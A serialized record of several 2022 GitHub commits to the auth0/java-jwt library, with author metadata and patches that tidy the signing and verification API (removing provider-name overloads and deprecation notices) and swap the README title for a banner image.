Poovamraj T Temailpoovamraj@gmail.comdate2022-04-11T18:19:40Zu	committer}(jyv  
Poovamraj T Tj{v  poovamraj@gmail.comj}v  2022-04-11T18:19:40Zumessage3Removed default implementation of withAnyOfAudiencetree}(jqv  (f7fc2d3ed39b524a9e3363cd3fb5766ecb40635curl^https://api.github.com/repos/auth0/java-jwt/git/trees/f7fc2d3ed39b524a9e3363cd3fb5766ecb40635cujv  `https://api.github.com/repos/auth0/java-jwt/git/commits/798b3dd08f4db2181649d34a64db8b3b94793956
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujv  \https://api.github.com/repos/auth0/java-jwt/commits/798b3dd08f4db2181649d34a64db8b3b94793956html_urlQhttps://github.com/auth0/java-jwt/commit/798b3dd08f4db2181649d34a64db8b3b94793956comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/798b3dd08f4db2181649d34a64db8b3b94793956/commentsjwv  }(login	poovamrajidJ jsv  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jv  &https://api.github.com/users/poovamrajjv  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujv  }(jv  	poovamrajjv  J jsv  MDQ6VXNlcjE1OTEwNDI1jv  4https://avatars.githubusercontent.com/u/15910425?v=4jv  h3jv  &https://api.github.com/users/poovamrajjv  https://github.com/poovamrajjv  0https://api.github.com/users/poovamraj/followersjv  =https://api.github.com/users/poovamraj/following{/other_user}jv  6https://api.github.com/users/poovamraj/gists{/gist_id}jv  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jv  4https://api.github.com/users/poovamraj/subscriptionsjv  +https://api.github.com/users/poovamraj/orgsjv  ,https://api.github.com/users/poovamraj/reposjv  7https://api.github.com/users/poovamraj/events{/privacy}jv  6https://api.github.com/users/poovamraj/received_eventsjv  Userjv  uparents]}(jqv  (8ad09b854815bcb3fb34e7b2acdbc4e59112899ajv  \https://api.github.com/repos/auth0/java-jwt/commits/8ad09b854815bcb3fb34e7b2acdbc4e59112899ajv  Qhttps://github.com/auth0/java-jwt/commit/8ad09b854815bcb3fb34e7b2acdbc4e59112899auastats}(totalK	additionsK	deletionsK
ufiles](}(jqv  (35e59198360b9a2fab08e36c4ca3463ba10362f5filename<lib/src/main/java/com/auth0/jwt/interfaces/Verification.javastatusmodifiedjv  Kjv  K
changesKblob_urlhttps://github.com/auth0/java-jwt/blob/798b3dd08f4db2181649d34a64db8b3b94793956/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaraw_urlhttps://github.com/auth0/java-jwt/raw/798b3dd08f4db2181649d34a64db8b3b94793956/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=798b3dd08f4db2181649d34a64db8b3b94793956patchXh  @@ -55,19 +55,10 @@ default Verification withIssuer(String issuer) {
      * If this is used in conjunction with {@link #withAudience(String...)}, whichever one is configured last will
      * determine the audience validation behavior.
      *
-     * Note: This method was added after the interface was released.
-     * It is defined as a default method for compatibility reasons.
-     * From version 4.0 on, the method will be abstract and all implementations of this interface
-     * will have to provide their own implementation.
-     *
-     * The default implementation throws an {@linkplain UnsupportedOperationException}.
-     *
      * @param audience the required Audience value for which the "aud" claim must contain at least one value.
      * @return this same Verification instance.
      */
-    default Verification withAnyOfAudience(String... audience) {
-        throw new UnsupportedOperationException("withAnyOfAudience");
-    }
+    Verification withAnyOfAudience(String... audience)
     
     /**
      * Define the default window in seconds in which the Not Before, Issued At and Expires At Claimsu}(jqv  (bdbd688a3182addf0f121f8a56759f768ffa8856jv  @lib/src/test/java/com/auth0/jwt/interfaces/VerificationTest.javajv  modifiedjv  Kjv  K jv  Kjv  https://github.com/auth0/java-jwt/blob/798b3dd08f4db2181649d34a64db8b3b94793956/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javajv  https://github.com/auth0/java-jwt/raw/798b3dd08f4db2181649d34a64db8b3b94793956/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javajv  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.java?ref=798b3dd08f4db2181649d34a64db8b3b94793956jv  Xu  @@ -74,6 +74,11 @@ public Verification withAudience(String... audience) {
             return null;
         }
 
+        @Override
+        public Verification withAnyOfAudience(String... audience) {
+            return null;
+        }
+
         @Override
         public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
             return null;ueu(5da2806b592daeef57b37e5d5461de6d0ef2bbe9}(sha(5da2806b592daeef57b37e5d5461de6d0ef2bbe9node_idEC_kwDOAQtL0doAKDVkYTI4MDZiNTkyZGFlZWY1N2IzN2U1ZDU0NjFkZTZkMGVmMmJiZTkcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-04-13T17:55:40Zu	committer}(jv  James Andersonjv  jim.anderson@auth0.comjv  2022-04-13T17:55:40Zumessage
fix packagingtree}(jv  (b7397c31c5042d790433e348647020ae5ec407c7url^https://api.github.com/repos/auth0/java-jwt/git/trees/b7397c31c5042d790433e348647020ae5ec407c7ujw  `https://api.github.com/repos/auth0/java-jwt/git/commits/5da2806b592daeef57b37e5d5461de6d0ef2bbe9
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujw  \https://api.github.com/repos/auth0/java-jwt/commits/5da2806b592daeef57b37e5d5461de6d0ef2bbe9html_urlQhttps://github.com/auth0/java-jwt/commit/5da2806b592daeef57b37e5d5461de6d0ef2bbe9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5da2806b592daeef57b37e5d5461de6d0ef2bbe9/commentsjv  }(login
jimmyjamesidJ7 jv  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jw  'https://api.github.com/users/jimmyjamesjw  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujv  }(jw  
jimmyjamesjw  J7 jv  MDQ6VXNlcjI3NjIyNQ==jw  2https://avatars.githubusercontent.com/u/276225?v=4jw  h3jw  'https://api.github.com/users/jimmyjamesjw  https://github.com/jimmyjamesj w  1https://api.github.com/users/jimmyjames/followersj"w  >https://api.github.com/users/jimmyjames/following{/other_user}j$w  7https://api.github.com/users/jimmyjames/gists{/gist_id}j&w  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j(w  5https://api.github.com/users/jimmyjames/subscriptionsj*w  ,https://api.github.com/users/jimmyjames/orgsj,w  -https://api.github.com/users/jimmyjames/reposj.w  8https://api.github.com/users/jimmyjames/events{/privacy}j0w  7https://api.github.com/users/jimmyjames/received_eventsj2w  Userj4w  uparents]}(jv  (05c925edc68eb072e6910055891d1317be2325a2jw  \https://api.github.com/repos/auth0/java-jwt/commits/05c925edc68eb072e6910055891d1317be2325a2jw  Qhttps://github.com/auth0/java-jwt/commit/05c925edc68eb072e6910055891d1317be2325a2uastats}(totalK 	additionsK 	deletionsK ufiles]}(jv  (e15877a2ead7ae5e852c9ddb8e0f8a614182c292filename1lib/src/main/java/com/auth0/jwt/HeaderParams.javastatusrenamedjNw  K jOw  K changesK blob_urlhttps://github.com/auth0/java-jwt/blob/5da2806b592daeef57b37e5d5461de6d0ef2bbe9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaraw_urlhttps://github.com/auth0/java-jwt/raw/5da2806b592daeef57b37e5d5461de6d0ef2bbe9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=5da2806b592daeef57b37e5d5461de6d0ef2bbe9previous_filename#lib/src/main/java/HeaderParams.javauau(19a2847cf9050ebc2a3a95e6faa729d123f6944a}(sha(19a2847cf9050ebc2a3a95e6faa729d123f6944anode_idEC_kwDOAQtL0doAKDE5YTI4NDdjZjkwNTBlYmMyYTNhOTVlNmZhYTcyOWQxMjNmNjk0NGEcommit}(author}(nameAntónio Pedro Santosemailaps@dnxt.ptdate2022-09-26T05:57:22Zu	committer}(jkw  António Pedro Santosjmw  aps@dnxt.ptjow  2022-09-26T05:57:22Zumessageremove unnecessary overloadstree}(jcw  (0d48f841506a10edb9c0f82a57ec5dc4fd040fc5url^https://api.github.com/repos/auth0/java-jwt/git/trees/0d48f841506a10edb9c0f82a57ec5dc4fd040fc5uj{w  `https://api.github.com/repos/auth0/java-jwt/git/commits/19a2847cf9050ebc2a3a95e6faa729d123f6944a
comment_countK verification}(verifiedreasonvalid	signature-----BEGIN PGP SIGNATURE-----

iHUEABYKAB0WIQS/x9KuztyA3mLS2S8QJVoVuKaCBgUCYzE/QgAKCRAQJVoVuKaC
BpdlAQCYa5AG8YMbUtLGWlRRuhTwrUR/Ww6rlncx+AGgzibf1wEAvCe+bViavaWm
OYYDvwja4LPgJjUGl7juVo/FEq0K7QI=
=zje3
-----END PGP SIGNATURE-----payloadtree 0d48f841506a10edb9c0f82a57ec5dc4fd040fc5
parent 6b361dd364e1ef0d0a4b719445ede4af77a8f4db
author António Pedro Santos <aps@dnxt.pt> 1664171842 +0100
committer António Pedro Santos <aps@dnxt.pt> 1664171842 +0100

remove unnecessary overloads
uuj{w  \https://api.github.com/repos/auth0/java-jwt/commits/19a2847cf9050ebc2a3a95e6faa729d123f6944ahtml_urlQhttps://github.com/auth0/java-jwt/commit/19a2847cf9050ebc2a3a95e6faa729d123f6944acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/19a2847cf9050ebc2a3a95e6faa729d123f6944a/commentsjiw  }(loginaps-dnxtidJjew  MDQ6VXNlcjc3NDYxNDA0
avatar_url4https://avatars.githubusercontent.com/u/77461404?v=4gravatar_idh3j{w  %https://api.github.com/users/aps-dnxtjw  https://github.com/aps-dnxt
followers_url/https://api.github.com/users/aps-dnxt/followers
following_url<https://api.github.com/users/aps-dnxt/following{/other_user}	gists_url5https://api.github.com/users/aps-dnxt/gists{/gist_id}starred_url<https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/aps-dnxt/subscriptionsorganizations_url*https://api.github.com/users/aps-dnxt/orgs	repos_url+https://api.github.com/users/aps-dnxt/repos
events_url6https://api.github.com/users/aps-dnxt/events{/privacy}received_events_url5https://api.github.com/users/aps-dnxt/received_eventstypeUser
site_adminujqw  }(jw  aps-dnxtjw  Jjew  MDQ6VXNlcjc3NDYxNDA0jw  4https://avatars.githubusercontent.com/u/77461404?v=4jw  h3j{w  %https://api.github.com/users/aps-dnxtjw  https://github.com/aps-dnxtjw  /https://api.github.com/users/aps-dnxt/followersjw  <https://api.github.com/users/aps-dnxt/following{/other_user}jw  5https://api.github.com/users/aps-dnxt/gists{/gist_id}jw  <https://api.github.com/users/aps-dnxt/starred{/owner}{/repo}jw  3https://api.github.com/users/aps-dnxt/subscriptionsjw  *https://api.github.com/users/aps-dnxt/orgsjw  +https://api.github.com/users/aps-dnxt/reposjw  6https://api.github.com/users/aps-dnxt/events{/privacy}jw  5https://api.github.com/users/aps-dnxt/received_eventsjw  Userjw  uparents]}(jcw  (6b361dd364e1ef0d0a4b719445ede4af77a8f4dbj{w  \https://api.github.com/repos/auth0/java-jwt/commits/6b361dd364e1ef0d0a4b719445ede4af77a8f4dbjw  Qhttps://github.com/auth0/java-jwt/commit/6b361dd364e1ef0d0a4b719445ede4af77a8f4dbuastats}(totalK	additionsK 	deletionsKufiles]}(jcw  (1f1ba6528f4c47fcb8dad837e67d9d446c3242bbfilename=lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javastatusmodifiedjw  K jw  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/19a2847cf9050ebc2a3a95e6faa729d123f6944a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/19a2847cf9050ebc2a3a95e6faa729d123f6944a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=19a2847cf9050ebc2a3a95e6faa729d123f6944apatchX  @@ -71,17 +71,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
         return this.sign(headerBytes, payloadBytes, (Provider) null);
     }
 
-    @Override
-    public byte[] sign(byte[] headerBytes, byte[] payloadBytes, String providerName)
-            throws SignatureGenerationException, NoSuchProviderException {
-        Provider provider = Security.getProvider(providerName);
-        if (provider == null) {
-            throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
-        }
-
-        return this.sign(headerBytes, payloadBytes, provider);
-    }
-
     @Override
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes, Provider cryptoProvider)
             throws SignatureGenerationException {
@@ -97,22 +86,6 @@ public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         return this.sign(contentBytes, (Provider) null);
     }
 
-    /**
-     * This method does not take the provider name into consideration for computing the HMAC.
-     *
-     * @param providerName the cryptographic provider name
-     */
-    @Override
-    public byte[] sign(byte[] contentBytes, String providerName)
-            throws SignatureGenerationException, NoSuchProviderException {
-        Provider provider = Security.getProvider(providerName);
-        if (provider == null) {
-            throw new NoSuchProviderException(String.format("No provider named [%s] installed", providerName));
-        }
-
-        return this.sign(contentBytes, provider);
-    }
-
     @Override
     public byte[] sign(byte[] contentBytes, Provider cryptoProvider) throws SignatureGenerationException {
         try {uau(57eef721408d585d44ed9f473bc1807f42daffcc}(sha(57eef721408d585d44ed9f473bc1807f42daffccnode_idEC_kwDOAQtL0doAKDU3ZWVmNzIxNDA4ZDU4NWQ0NGVkOWY0NzNiYzE4MDdmNDJkYWZmY2Mcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-25T02:07:34Zu	committer}(jw  Jim Andersonjw  jimranderson@gmail.comjw  2022-10-25T02:12:42Zumessage
add bannertree}(jw  (afc9f09d37e4ae7c358af363e3970fe4ccfa1dbeurl^https://api.github.com/repos/auth0/java-jwt/git/trees/afc9f09d37e4ae7c358af363e3970fe4ccfa1dbeujw  `https://api.github.com/repos/auth0/java-jwt/git/commits/57eef721408d585d44ed9f473bc1807f42daffcc
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujw  \https://api.github.com/repos/auth0/java-jwt/commits/57eef721408d585d44ed9f473bc1807f42daffcchtml_urlQhttps://github.com/auth0/java-jwt/commit/57eef721408d585d44ed9f473bc1807f42daffcccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/57eef721408d585d44ed9f473bc1807f42daffcc/commentsjw  }(login
jimmyjamesidJ7 jw  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jw  'https://api.github.com/users/jimmyjamesjw  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujw  }(jx  
jimmyjamesjx  J7 jw  MDQ6VXNlcjI3NjIyNQ==jx  2https://avatars.githubusercontent.com/u/276225?v=4j	x  h3jw  'https://api.github.com/users/jimmyjamesjw  https://github.com/jimmyjamesjx  1https://api.github.com/users/jimmyjames/followersjx  >https://api.github.com/users/jimmyjames/following{/other_user}jx  7https://api.github.com/users/jimmyjames/gists{/gist_id}jx  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jx  5https://api.github.com/users/jimmyjames/subscriptionsjx  ,https://api.github.com/users/jimmyjames/orgsjx  -https://api.github.com/users/jimmyjames/reposjx  8https://api.github.com/users/jimmyjames/events{/privacy}jx  7https://api.github.com/users/jimmyjames/received_eventsjx  Userj x  uparents]}(jw  (ff4bcbaf3bfec30becb2490d21039feb188e2a7bjw  \https://api.github.com/repos/auth0/java-jwt/commits/ff4bcbaf3bfec30becb2490d21039feb188e2a7bjw  Qhttps://github.com/auth0/java-jwt/commit/ff4bcbaf3bfec30becb2490d21039feb188e2a7buastats}(totalK	additionsK	deletionsKufiles]}(jw  (80fe4666321ff305f899d0a59583cc9e2e1e6782filename	README.mdstatusmodifiedj:x  Kj;x  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/57eef721408d585d44ed9f473bc1807f42daffcc/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/57eef721408d585d44ed9f473bc1807f42daffcc/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=57eef721408d585d44ed9f473bc1807f42daffccpatchX$  @@ -1,6 +1,4 @@
-# Java JWT
-
-A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519)
+![A Java implementation of JSON Web Token (JWT) - RFC 7519.](https://cdn.auth0.com/website/sdks/banners/java-jwt-banner.png)
 
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)
 [![Coverage Status](https://img.shields.io/codecov/c/github/auth0/java-jwt.svg?style=flat-square)](https://codecov.io/github/auth0/java-jwt)uau(0b8f1abc5f3bee59e5d977df1afee76a39eab46f}(sha(0b8f1abc5f3bee59e5d977df1afee76a39eab46fnode_idEC_kwDOAQtL0doAKDBiOGYxYWJjNWYzYmVlNTllNWQ5NzdkZjFhZmVlNzZhMzllYWI0NmYcommit}(author}(name	poovamrajemailpoovamraj@gmail.comdate2022-03-13T17:13:20Zu	committer}(jWx  
Poovamraj T TjYx  poovamraj@gmail.comj[x  2022-03-16T11:13:54Zumessage-Update document and remove deprecation noticetree}(jOx  (02f5c9f24ad64990538b202233c1e5b8ed059f8eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/02f5c9f24ad64990538b202233c1e5b8ed059f8eujgx  `https://api.github.com/repos/auth0/java-jwt/git/commits/0b8f1abc5f3bee59e5d977df1afee76a39eab46f
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujgx  \https://api.github.com/repos/auth0/java-jwt/commits/0b8f1abc5f3bee59e5d977df1afee76a39eab46fhtml_urlQhttps://github.com/auth0/java-jwt/commit/0b8f1abc5f3bee59e5d977df1afee76a39eab46fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/commentsjUx  }(login	poovamrajidJ jQx  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jgx  &https://api.github.com/users/poovamrajjsx  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj]x  }(jxx  	poovamrajjzx  J jQx  MDQ6VXNlcjE1OTEwNDI1j|x  4https://avatars.githubusercontent.com/u/15910425?v=4j~x  h3jgx  &https://api.github.com/users/poovamrajjsx  https://github.com/poovamrajjx  0https://api.github.com/users/poovamraj/followersjx  =https://api.github.com/users/poovamraj/following{/other_user}jx  6https://api.github.com/users/poovamraj/gists{/gist_id}jx  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jx  4https://api.github.com/users/poovamraj/subscriptionsjx  +https://api.github.com/users/poovamraj/orgsjx  ,https://api.github.com/users/poovamraj/reposjx  7https://api.github.com/users/poovamraj/events{/privacy}jx  6https://api.github.com/users/poovamraj/received_eventsjx  Userjx  uparents]}(jOx  (fef3ccf0e03b4557faa110432466c631c0cc3fffjgx  \https://api.github.com/repos/auth0/java-jwt/commits/fef3ccf0e03b4557faa110432466c631c0cc3fffjsx  Qhttps://github.com/auth0/java-jwt/commit/fef3ccf0e03b4557faa110432466c631c0cc3fffuastats}(totalK	additionsK	deletionsKufiles](}(jOx  (2d8722a20c341d19423f4cafc05f666fa673f6d8filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedjx  Kjx  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=0b8f1abc5f3bee59e5d977df1afee76a39eab46fpatchX  @@ -409,14 +409,13 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
 
     /**
      * Sign the given content using this Algorithm instance.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param contentBytes an array of bytes representing the base64 encoded content to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
-     * @deprecated Please use the {@linkplain #sign(byte[], byte[])} method instead.
      */
 
-    @Deprecated
     public abstract byte[] sign(byte[] contentBytes) throws SignatureGenerationException;
 
 }u}(jOx  (26a87bc41d2eddc182bed419f80041fb5f3e4b8ajx  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javajx  modifiedjx  Kjx  Kjx  Kjx  https://github.com/auth0/java-jwt/blob/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javajx  https://github.com/auth0/java-jwt/raw/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javajx  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=0b8f1abc5f3bee59e5d977df1afee76a39eab46fjx  X,  @@ -131,6 +131,7 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
 
     /**
      * Verify signature.
+     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param secretBytes algorithm secret.
@@ -139,27 +140,24 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
         return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, contentBytes), signatureBytes);
     }
 
     /**
      * Create signature.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param secretBytes algorithm secret.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException {
         final Mac mac = Mac.getInstance(algorithm);
         mac.init(new SecretKeySpec(secretBytes, algorithm));
@@ -168,6 +166,7 @@ byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBy
 
     /**
      * Verify signature using a public key.
+     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param publicKey algorithm public key.
@@ -177,10 +176,8 @@ byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBy
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
      * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initVerify(publicKey);
@@ -190,6 +187,7 @@ boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] content
 
     /**
      * Create signature using a private key.
+     * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
      * @param algorithm algorithm name.
      * @param privateKey the private key to use for signing.
@@ -198,10 +196,8 @@ boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] content
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
      * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
      * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     * @deprecated rather use corresponding method which takes header and payload as separate inputs
      */
 
-    @Deprecated
     byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);u	      }(jOx  (51fa70faf3f47c61a8890193e7bdb7771f11aabcjx  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javajx  modifiedjx  K jx  Kjx  Kjx  https://github.com/auth0/java-jwt/blob/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajx  https://github.com/auth0/java-jwt/raw/0b8f1abc5f3bee59e5d977df1afee76a39eab46f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajx  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=0b8f1abc5f3bee59e5d977df1afee76a39eab46fjx  X1  @@ -71,7 +71,6 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     }
 
     @Override
-    @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {
